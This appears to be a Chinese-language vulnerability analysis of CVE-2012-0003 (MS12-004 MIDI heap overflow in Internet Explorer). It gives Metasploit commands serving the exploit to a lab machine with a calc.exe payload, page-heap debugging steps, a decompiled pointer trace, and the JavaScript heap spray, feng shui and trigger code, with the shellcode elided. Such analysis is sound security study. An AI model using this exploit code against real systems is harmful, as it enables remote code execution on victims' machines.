# 搜索并使用模块
msf5 > search cve-2012-0003
msf5 > use exploit/windows/browser/ms12_004_midi
# 设置payload
msf5 exploit(windows/browser/ms12_004_midi) > set payload windows/exec
# 设置payload参数,弹出计算器(exploit模块参数保持默认即可
msf5 exploit(windows/browser/ms12_004_midi) > set cmd calc.exe
# 攻击:开启服务器,等待目标连接
msf5 exploit(windows/browser/ms12_004_midi) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/browser/ms12_004_midi) >
[*] Using URL: http://0.0.0.0:8080/uMMCLOKsr
[*] Local IP: http://127.0.0.1:8080/uMMCLOKsr
[*] Server started.
[*] 192.168.156.151 ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 192.168.156.151 ms12_004_midi - Sending html to 192.168.156.151:1184...
[*] 192.168.156.151 ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4503
[*] 192.168.156.151 ms12_004_midi - Sending midi corruption file...
C:\Program Files\Debugging Tools for Windows (x86)>gflags.exe -i IExplore.exe +hpa
Current Registry Settings for IExplore.exe executable are: 02000000
hpa - Enable page heap
esi = v20;
v20 = *(_DWORD *)(v1 + 132);
==> esi = *(_DWORD *)(v1 + 132);
v1 = wParam = gpEmuList;
==> esi = *(_DWORD *)(gpEmuList + 132);
gpEmuList = v5;
==> esi = *(_DWORD *)(v5 + 132);
*((_DWORD *)v5 + 132) = v6;
==> esi = v6;
v6 = winmmAlloc(0x400u);
==> esi = winmmAlloc(0x400u);
==> esi指向申请的400字节堆空间
// 第一部分:进行堆喷射
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("xxxxxxxxxxxxxxxx");
var ORF = "%u0c0c%u0c0c";
var nops = unescape(ORF);
while (nops.length < 0x1000) nops+= nops;
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=0; i < 600; i++) {
heap_obj.alloc(block);
}
</script>
// 第二部分:漏洞利用的关键部分
<script language='javascript'>
var heap = new heapLib.ie();
var selob = document.createElement("select")
selob.w0 = unescape("%u0c0c%u0c0c")
selob.w1 = alert
...
selob.w55 = alert
var clones = new Array(1000);
function feng_shui() {
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
</script>